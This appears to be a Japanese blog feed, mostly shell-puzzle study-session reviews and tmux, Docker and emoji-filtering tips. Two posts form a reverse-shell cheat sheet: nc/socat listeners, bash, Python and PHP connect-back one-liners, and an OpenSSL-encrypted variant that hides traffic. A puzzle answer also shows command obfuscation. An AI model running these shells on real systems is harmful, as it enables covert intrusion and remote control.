# Rubyの場合
cat oji | ruby -lne 'p $_.gsub(/\p{Emoji}/, "💩")'

 

Q3

1〜20までの出力から、素数の場合にランダムな値(同じ出力ではだめ)を出力させるという内容。
factorの出力から2列のもののみを利用することで対応できるので、awkのgetlineを使おうと思っていたところ、出力が変わらずに引っかかってしまった。

seq 20 | factor | awk 'NF==2{"echo-meme うんこ"|getline v;print $0,v}NF!=2{print}'

 

(解決策を自分で書いてて忘れてたのだが)awkでgetlineを使った場合、ちゃんと「close(cmd)」をしないと終了にならないので、それが必要だったのを忘れていたのが原因。
close(cmd)を行う際、実行するコマンドを変数に入れておいたほうがいろいろと都合がいいので、最終的な回答は↓のような感じになる。

seq 20 | factor | awk 'NF==2{c="echo-meme うんこ";c|getline v;close(c);print $0,v}NF!=2{print}'
[REMOTE][blacknon@bs-pub-ubuntu-03][~/ShellGeiData/vol.42]
(`・ω・´) < seq 20 | factor | awk 'NF==2{c="echo-meme うんこ";c|getline v;close(c);print $0,v}NF!=2{print}'
1:
2: 2 我がドイツのうんこは世界一ィィィ!
3: 3 よろしい ならばうんこだ
4: 2 2
5: 5 人民の、人民による、人民のためのうんこ
6: 2 3
7: 7 うんこっていうレベルじゃねぇぞ!
8: 2 2 2
9: 3 3
10: 2 5
11: 11 人民の、人民による、人民のためのうんこ
12: 2 2 3
13: 13 よろしい ならばうんこだ
14: 2 7
15: 3 5
16: 2 2 2 2
17: 17 俺らこんなうんこいやだ 俺らこんなうんこいやだ 東京へ出るだ
18: 2 3 3
19: 19 お前のモノはうんこのモノ、うんこのモノはうんこのモノ
20: 2 2 5

 

Q4

数字を打たずに「3」を出力しろという内容。難読化シェル芸系の問題だ。
いろんなやり方が考えられるけど、とりあえず短いやり方だとこんなのだろうか。

echo ..|wc -m
wc -m<<<..

Q5

アルファベットを打たずにlsを実行しろという内容。こちらも難読化シェル芸系な問題だ。
文字コードを指定しての実行が簡単なので、それで対応する。

printf ls | xxd -a | cut -d' ' -f2 | grep -o .. | awk '{print "printf \"\\%o\" 0x"$1";"}' | bash | sed "s/^/$'/;s/$/'/" # 文字コードに変換
$'\154\163' # これで実行可能

 

ほかにも記号だけで回答するのとか、いろいろな方法があるのだけど、残念ながらそこまで難読化シェル芸を理解できてない(´・ω・`)。

 

Q6

ターミナル上でドット絵を生成して電車の電子案内板?(あの電車の上の方にある行き先書いてあるやつ)みたいなのを生成する際、飛行機の向きが絵文字だと逆なので、それを戻すという内容。
この辺になると疲れてた+あんまり電車好きじゃないのでモチベーションわかないという理由でちゃんとやれなかったので、模範回答だけ転載しておく。

●模範解答

echo ✈︎快特羽田空港 |sed -r 's/(.)./\1/' |
textimg -F40|convert - -compress none pbm:- |
tail -n +3|tr -d ' '|sed -r 's/.{40}/&\n/' |
sed -r '1~2s/.*/echo & | rev/e' | xargs -n 2 |
tr -d ' ' |sed -r 's/.{120}/&\n/'|
sed -e '1~2s/0/■/g' -e '1~2s/1/🍀/g'  -e '2~2,$s/0/□/g' -e '2~2,$s/1/■/g'|
xargs -n 2 | tr -d ' ' |textimg > a.png

 

Q7

seqとfactorで素数を生成して、桁が変わる場合は改行するという問題。
とりあえず愚直にawkでやる方式。

seq 1001 | factor | awk 'NF==2{print $2}' | awk 'BEGIN{ol=1}{l=length($1);if(l==ol){printf($1" ")}else{print $1};ol=l}'

 

最初はjqでやれるんじゃないか?とか思ったけど、ちょっと難しそう…(´・ω・`)

Q8

また電車系の問題。
電車の上の方に書いてある電子掲示板みたいなので、成田空港行きのを生成するやつ。

これもちょっと電車好きじゃないので、模範解答だけ書いておく。

$ echo "成田空港"|textimg -F40|convert - -compress none pbm:- |
tail -n +3|tr -d ' '| sed 's/0/🍊/g;s/1/□/g' > a
$ echo For Narita-Airport |textimg -F15|
convert - -compress none pbm:- |tail -n +3|tr -d ' '|
sed 's/0/🍀/g;s/1/□/g' |
awk '{for(i=1;i<=17;i++)printf "□";printf $0;for(i=1;i<=17;i++)printf "□";print ""}' > b
$ cat a b | textimg > a.png

 

最近ちょっと疲れ気味なので、記事書くのにえらく時間がかかってしまった。
今の仕事、日中結構頭を使うので疲れやすい傾向があると思うのだけど、それ+通勤長いのが理由だと思うので、早いとこ会社の近くに引っ越したいなぁ…(´・ω・`)

 

難読化シェル芸の世界 ~Bashとすてきな難読化~ (プレミアムブックス版) 難読化シェル芸の世界 ~Bashとすてきな難読化~ (プレミアムブックス版)

Perl・Rubyでコンソール上で標準入力から受け付けた絵文字😅💖をすべて削除・置換する

$
0
0

先日行われたシェル芸勉強会でそういった問題が出てたのだけど、絵文字をすべて削除したり置換する方法って今後使うこともありそうなので、これだけ抜き出して記述しておくことにする。

 

Perlを使う場合

Perlの場合、Unicode Propitiesというのがあるので、それで絵文字として指定…できればよかったんだけど、残念ながらそのブロック単位では無いらしい。
もうちょっと小さい単位で定義されているので、こういうときに一発で指定が出来ない。なので、使う文字ブロックだけを指定してやるとよさそうだ。

command ... | perl -C -ple 'use utf8;s/[^\p{BasicLatin}|\p{Katakana}|\p{Hiragana}|\p{Han}|\p{CJKSymbolsAndPunctuation}|\p{HalfwidthAndFullwidthForms}]//g'

Rubyを使う場合

Rubyの場合、最初から絵文字がブロックとして登録されているので、そのまま指定してやればよい。

command ... | ruby -lne 'p $_.gsub(/\p{Emoji}/, "")'

 

やはり、こういう問題ではRubyは強いようだ。
sedとかでやるとかなり辛いことになりそう(文字コード指定して、範囲外はすべて置換するみたいなことになりそう)。

 

たのしいRuby 第6版 (Informatics&IDEA) たのしいRuby 第6版 (Informatics&IDEA)

Reverse Shellのコマンドいろいろ

$
0
0

最近になってReverse Shellをちょっとだけ使う機会があったのだけど、前に学習してたよりいろいろと便利なやり方とか方法がいろいろとあるのを知ったので、ちょっとまとめてみることにした。

1. 受付側のコマンド

実行側のシェルを受け付ける側。listen。

1-1. ncを使う場合

nc -nlvp <port>

 

1-2. socatを使う場合

socat tcp-listen:<port>,reuseaddr,fork stdout

 

2. 実行側のコマンド

RCEなどでOSコマンドを実行させる方のコマンド。server。

2-1. bashを使う場合

bash -i 9<>/dev/tcp/<addr>/<port> <&9 >&9 2>&9

 

2-2. Pythonを使う場合

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<addr>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 


2-3. phpを使う場合

php -r '$sock=fsockopen("<addr>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'


3. ttyを利用する場合

Reverse Shellでttyを利用する場合、以下のような組み合わせにすることで利用できるようだ。
特にlisten側でsocatを使うことで、Ctrl+C(Sigint)なども通常のターミナルと同じ感覚で扱えるようになる(一応ncでも動作はするが、Ctrl+Cなどはserver側に送れずncが終了する)。

3-1. listen側

stty raw -echo && socat file:$(tty),raw,unlink-close=0 tcp-listen:5555

 

3-2. server側

python -c 'import pty; pty.spawn("/bin/bash")' 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # pythonを利用する場合
script -c 'bash -i' /dev/null 9<>/dev/tcp/172.20.100.122/5555 <&9 >&9 2>&9 # scriptコマンドを利用する場合

 

scriptでなくても、ttyが払い出されるコマンド(expectなど)であればそれでも代用できそうだ。

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)

OpenSSLでReverse Shellの通信を暗号化する(+”Ctrl+C”の対応)

$
0
0

Reverse Shellで接続する際、普通にncやsocatで受け付けて処理すると間の通信が暗号化されてないので、パケットキャプチャすると何してるのか見えてしまったりする。
これはあまりよろしくないことが多いので、OpenSSL経由でReverse Shellを使うことで間の通信を暗号化してみることにする。

なお、証明書はオレオレ証明書にする(ちゃんとした証明書使ってもいいけど、この用途でわざわざやる必要もないかなと…)。

1. Listen側

まずはオレオレ証明書の作成から。(すでにあるならやらなくていいかも)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 3650 -nodes

 

オレオレ証明書を作成したら、以下のコマンドでOpenSSLでの通信待ち受けをする。

openssl s_server -quiet -key key.pem -cert cert.pem -port <port>

 

2. Server側

次にServer側(Listen側にShellを渡す方)。
opensslとshellでやり取りをするために名前付きパイプを使う必要があるので、以下のようにコマンドを実行する。

mkfifo /tmp/p;bash -i < /tmp/p 2>&1 | openssl s_client -quiet -connect <host>:<port> > /tmp/p;rm -f /tmp/p

 

これで、通信が暗号化された状態でReverse Shellの利用ができるようになる。

3. tty(仮想端末)も有効にしてみる

さて、おまけで仮想端末を利用して、かつCtrl+Cといったキーバインドもサーバ側に渡せるように接続してみよう。
やり方は簡単で、socatではopenssl-listenでの受け付けが可能なので、それを利用すればいい。

3-1. listen側

socat `tty`,raw,echo=0 openssl-listen:55555,reuseaddr,cert=cert.pem,key=key.pem,verify=0

 

3-2. server側

mkfifo /tmp/p;script -qc 'bash -i' /dev/null < /tmp/p 2>&1 | openssl s_client -quiet -connect 172.20.100.122:55555 > /tmp/p;rm -f /tmp/p

 

接続直後は表示が崩れてしまう状態なので、Reverse Shellで以下のコマンドを実行して端末情報をリセットする。

stty sane

 

これで、Reverse ShellでのSSL化+キーバインド対応ができるようになる。
(あんまり使うこと無い気がするけど)

 

プロフェッショナルSSL/TLS プロフェッショナルSSL/TLS

Linuxコンソール上でユニークな値だけ色付けする

$
0
0

あまり仕事とかではないのだけど、たまにコンソール上で全く同じ値を持つ以下のようなテキストから、ユニークな値(今回の場合はB)だけ色を付けたいと思うことがある。

A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A B A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A
A A A A A A A A A A

 

一番簡単なのは、grepでユニークな値、もしくはユニークではない(重複した)値を指定してやることだろう。
通常はgrepでヒットした値はエスケープシーケンスで色付けされるので、それを利用すればいい。

command | grep -E '[^A]'
command | grep -e B -e '$'


ユニークな値、もしくはユニークではない値を指定せずに色付けをする場合は、ちょっと汚いけど以下のようにしてやれば(厳密にユニークな値かどうかは判定していないけど)対応できる。

grep -f <(echo $;cat file | fmt -1 | sort | uniq -c | tail -1 | awk '{print $2}') file

 

grep Pocket Reference: A Quick Pocket Reference for a Utility Every Unix User Needs (Pocket Reference (O'Reilly)) grep Pocket Reference: A Quick Pocket Reference for a Utility Every Unix User Needs (Pocket Reference (O'Reilly))

Dockerにローカルのbashrcやvimrcを使って接続するワンライナー

$
0
0

Dockerにbashでログインする際、手元の環境のbashrcやvimrcを使って直接ログインしたいということがある。
原理的にはsshの場合と同じやり方でできるだろうということでやってみた。

とりあえず、以下のようなコマンドでローカルのbashrcを使ったログインが可能だ。
(読み込ませているbashrcのPATHは自分の環境のものなので、適宜書き換えが必要。)

docker run --rm -it コンテナ bash -c '/bin/bash --rcfile <(echo -e '$(cat ~/dotfiles/{.bashrc,sh/{sh_function,sh_export,sh_alias,sh_function_lvim},bash/bash_prompt}|base64)'|base64 -d)'

ちなみに、現在のセッションで利用している環境変数やfunction、aliasをそのまま読み込ませる場合は、以下のようにすればいい。
(base64 -w0はLinuxの場合での指定なので、Macの場合はオプションを消してbase64だけでいい)

docker run --rm -it theoldmoon0602/shellgeibot bash -c '/bin/bash --rcfile <(echo -e '$(cat <(set) <(alias)|base64 -w0)'|base64 -d)'

 

そもそもDockerコンテナに入ることもあまりないだろうし、使う機会はそう多くなさそうだけど、特定のシステムコンテナ(シェル芸botとか)の環境で操作したい場合には役に立つと思う。

 

Docker実践ガイド 第2版 impress top gearシリーズ Docker実践ガイド 第2版 impress top gearシリーズ

tmuxでアクティブpaneかどうかでの色分けをpane_synchronizedに応じて切り替える

$
0
0

普段あまりtmuxを使っていないのだけど、tmux.confの設定でアクティブなpaneかどうかで色を分けるといった対応をしていたりする。
↓こんな感じ。

 

で、pane_synchronizedかどうかに応じてこのアクティブなpaneだけ色を変えるのをtmux.confで変更したいということがあったので、その備忘。
対処方法だが、ちょうど自分がpane_synchronizedの切り替えをショートカットキーでトグル切り替えで処理していたので、以下のようにtmux.confに記述することで対処した(自分のtmux.confから抜粋)。

#-------------------------------------------------------#
# キーバインド
#-------------------------------------------------------#
# Ctrl-I で複数Paneへの入力モードに変更(Toggle)
bind -n C-i setw synchronize-panes \; display "synchronize-panes #{?pane_synchronized,on,off}"\; if-shell 'test #{pane_synchronized} -eq 1' 'set -g window-style "fg=colour250 bg=black"' 'set -g window-style "fg=colour247 bg=colour236"'


#-------------------------------------------------------#
# Pane
#-------------------------------------------------------#
# アクティブなPaneと非アクティブなPaneで色を変化させる($TMUX_VERSIONが2.1以上の場合)
# - window-style .. 非アクティブウィンドウ
# - window-active-style .. アクティブウィンドウ
if-shell -b '[ $(echo $TMUX_VERSION|awk "{if(\$0>=2.1){print 1}}") = 1 ]' " \
    set -g window-style 'fg=colour247,bg=colour236'; \
    set -g window-active-style 'fg=colour250,bg=black';"

 

実際に動いてるのは↓。大体こんな感じ。

 

(ssh接続先ごとでのターミナル背景色の切り替えと相性が悪いのもあって)今まであまりtmuxをつかってこなかったのだが、今後はもっと使うようにしたいなぁという気持ち。
tmux.confの書き方がバージョンによって動いたり動かなかったりするので、ssh経由でローカルのtmux.confを読ませるときのためにいちいちif-shellで分岐を頑張る必要があるのはちょっとツライなぁ…。なんかいい方法ないものか…。

 

The Tao of tmux: and Terminal Tricks (English Edition) The Tao of tmux: and Terminal Tricks (English Edition)

第44回シェル芸勉強会に参加してきました(復習)

$
0
0

先日実施された第44回シェル芸勉強会に出席してきたので、その復習。
今回は実用的な内容…ということだったのだが、そうはならんかったらしい(´・ω・`)。
冒頭で、awkなどでゴリゴリ書いていく問題がメインらしいので、多分難しめなんだろうなぁと思ったけど、おわってみたらやはり難しい問題が多かった。

問題および模範解答はこちら。あと、問題を解くに当たって必要になるファイルは以下のコマンドで取得してくる。

git clone https://github.com/ryuichiueda/ShellGeiData

Q1.

数独の問題で、マップ?のデータから各行列にどのような値が入ってるかを一覧化する問題。
数独がやったことないのでよくわからないのだけど、とりあえず第一フィールドが行番号、第二フィールドが列番号、第三フィールドが区画(3×3のグリッドに適当に番号をつけたもの)、第四フィールドが値となるようにすればいいようだ。

ひとまず、以下のようにawkで処理することで実現できる。

awk -F '' '{for(i=0;i<NF;i++){print (NR-1),i,int(i/3)+int(NR/3)*3,$(i+1)}}' sudoku
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < awk -F '' '{for(i=0;i<NF;i++){print (NR-1),i,int(i/3)+int(NR/3)*3,$(i+1)}}' sudoku | head
0 0 0 5
0 1 0 3
0 2 0 *
0 3 1 *
0 4 1 7
0 5 1 *
0 6 2 *
0 7 2 *
0 8 2 *
1 0 0 6

 

この問題については、awkでちゃんと書いてあげるのが一番良さそうだ。

Q2.

Q1から続きの問題で、Q1で作ったファイルをaというファイル名で保存して、さらにaのデータをもとに「4列目が*になっている行に対して、5列目以降に4列目に入らない数字を入れてbというファイルで保存しろ」という問題。
これについては、awkでゴリゴリ回答を作成するよりは外部コマンドを生成してbashに食わせるといったやり方のほうが楽そうだったので、その方法で対処した。

cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | head
echo 0 0 0 5
echo 0 1 0 3
echo "0 2 0 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 3 1 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo 0 4 1 7
echo "0 5 1 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 6 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 7 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo "0 8 2 *" $(seq 1 9|grep -v -f <(cat a|grep ^0|awk "{print \$NF}"|grep -o [0-9]))
echo 1 0 0 6

[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat a | awk '{if ($NF !~/^[0-9]+$/){print "echo \""$0"\"","$(seq 1 9|grep -v -f <(cat a|grep ^"$1"|awk \"{print \\$NF}\"|grep -o [0-9]))"}else{print "echo "$0}}' | bash | head
0 0 0 5
0 1 0 3
0 2 0 * 1 2 4 6 8 9
0 3 1 * 1 2 4 6 8 9
0 4 1 7
0 5 1 * 1 2 4 6 8 9
0 6 2 * 1 2 4 6 8 9
0 7 2 * 1 2 4 6 8 9
0 8 2 * 1 2 4 6 8 9
1 0 0 6

Q3.

Q3は、Q2で生成したファイルであるbに対して「5列目の値を4列目に入るであろう値のリストに書き換える」という処理をしたファイルcを作成する、という問題。
そもそも数独のルールを理解していないので何を入れるんだかさっぱりわからない+数独について調べたけどいまいちよくわからなかったので回答のしようがないので、模範解答の内容を転記しておく。

cat b | awk 'NF==4;NF!=4{for(i=1;i<=9;i++){
for(j=5;j<=NF;j++){if(i==$j){j=NF+3}} if(j!=NF+4)$4=$4 " "i
};print $1,$2,$3,$4}'
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat b | awk 'NF==4;NF!=4{for(i=1;i<=9;i++){
for(j=5;j<=NF;j++){if(i==$j){j=NF+3}} if(j!=NF+4)$4=$4 " "i
};print $1,$2,$3,$4}' | head
0 0 0 5
0 1 0 3
0 2 0 * 1 2 4
0 3 1 * 2 6
0 4 1 7
0 5 1 * 2 4 6 8
0 6 2 * 1 4 8 9
0 7 2 * 1 2 4 9
0 8 2 * 2 4 8
1 0 0 6

Q4.

Q4では、Q3で作成したcをもとに最初のファイル「sudoku」のフォーマットでファイルを作成するという問題。
その際、Q3の段階で4列目に1個しかファイルが入らない行についてはその内容も適用する必要がある。これについては、awkでちゃちゃっとやってしまうのがいいだろうということで、そのまま処理をした。

cat c | awk '{x=$4;if(x=="*"&&NF==5){x=$5};print x}' | xargs -n 9 | sed 's/ //g'
[DOCKER][root@9f6fb38551e6][/ShellGeiData/vol.44]
(`・ω・´) < cat c | awk '{x=$4;if(x=="*"&&NF==5){x=$5};print x}' | xargs -n 9 | sed 's/ //g'
53**7****
6**195***
*98****6*
8***6***3
4**853**1
7***2***6
*6***7284
***419*35
****8**79

 

Q5.

Q5は数学の問題だった。積分なのだが、社会人になってからそういうのはやってなかったのでもはやさっぱり…。
とりあえず模範解答だけ転記しておくことにする。

seq 0 49 | awk '{print $1/100, $1/100+0.01}' | awk '{print log(cos($1)), log(cos($2))}' | awk '{print ($1+$2)/2*0.01}' | awk '{a+=$1}END{print a}'

 

Q6.

Q6はウンコ系の問題。
体感だけど、(案の定というか)この問題だけ正答率がすごく高かった気がする。
ファイル「speech」の空行に対し、「speeck2」の内容を上から順に差し込んでいくという問題。とりあえず、自分は以下のような回答で処理をした。

cat speech | awk 'BEGIN{i=1}length($0)==0{print "sed -n "i"p speech2";i++}length($0)>0{print "echo "$0}' | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat speech | awk 'BEGIN{i=1}length($0)==0{print "sed -n "i"p speech2";i++}length($0)>0{print "echo "$0}' | bash
このうんこを作った
のは誰だあっ!!う
んこも休み休み言え
春はあけぼの。夏は
夜。秋は夕暮れ。冬
はうんこハァ テレ
ビも無ェ、うんこも
無ェ、生まれてこの
かた見だごとア無ェ
やつはとんでもない
ものを盗んでいきま
した。あなたのうん
こですお前それうん
こでも同じ事言えん
の?疲れからか、

 

この問題に関しては、くんすとさんの回答が非常にきれいだった。
awkのgetlineを利用することで、外部のファイルを上から順に差し込めるというのは知らなかった。

cat speech | awk 'NF==0{getline< "speech2"}{print}'
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < cat speech | awk 'NF==0{getline< "speech2"}{print}'
このうんこを作った
のは誰だあっ!!う
んこも休み休み言え
春はあけぼの。夏は
夜。秋は夕暮れ。冬
はうんこハァ テレ
ビも無ェ、うんこも
無ェ、生まれてこの
かた見だごとア無ェ
やつはとんでもない
ものを盗んでいきま
した。あなたのうん
こですお前それうん
こでも同じ事言えん
の?疲れからか、

 

Q7.

簡単なRSA暗号を施されたファイル「message」をシェル芸で元に戻そうという内容。
ASCIIコードの文字一つ一つを5乗して437で割った余りを10進数で記述されており、各十進数を何乗かして437で割った余りをASCIIコードとして解釈するとメッセージが読めるらしい。

まずは各数字を200乗して、それを437で割る。
このとき、通常のawk(mawk)だとあまりに大きい数を扱おうとするとうまく行かない。

ebanさんのツイートで知ったのだが、こういった場合はgawkの-Mオプションを利用することで対処できるらしい。

cat message|fmt -1|gawk -M '{print ($1^191)%437}'

 

これを更に解読する。
RCA暗号であればこの数字は素数になると思わえるが、とりあえず200までの数字を使って計算する。
文字コードから文字列を出力する場合はprintfで%cを指定することで対処できるのでそれを利用する。

seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')' 200 | bash
[DOCKER][root@9ff235cb5592][/ShellGeiData/vol.44]
(`・ω・´) < seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')' 200 | bash | head
ĆŅzPĊƖ£YŅYņ
#Ĵ�ĚƏWŝ7Ĵ7U
ƮđżŪMX
ĻƓ#Ɠé
!ťƢØ!
1Ĥ`ホøĻĤĻ
¥GŞʼnĝƩÜCGCÀ
ƔşķdÑŴ�ĚşĚe
^Ũ_ċı½½
©Üèũ�Ŏש×Ě

 

これで200個分を計算できた。
ひとまず「unko」だろということでgrepをすると「unko_jyanai」というキーワードがヒットするので、これが正解(ちなみに数字は119)というのがわかるのだけど、もしunkoが入ってない場合はどうやって識別するのか?

ちょっと無理やりだけど、今回の場合だとASCIIだということが最初にわかっていることから、fileコマンドに出力を渡して識別させればいいということがわかる。

seq -f 'echo $(cat message|fmt -1|gawk -M '\''{printf ("%%c",($1^%g)%%437)}'\'')|tee >(file -)' 200 | bash | grep -B2 ASCII

 

[改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus) [改訂第3版]シェルスクリプト基本リファレンス ──#!/bin/shで、ここまでできる (WEB+DB PRESS plus)
Viewing all 743 articles
Browse latest View live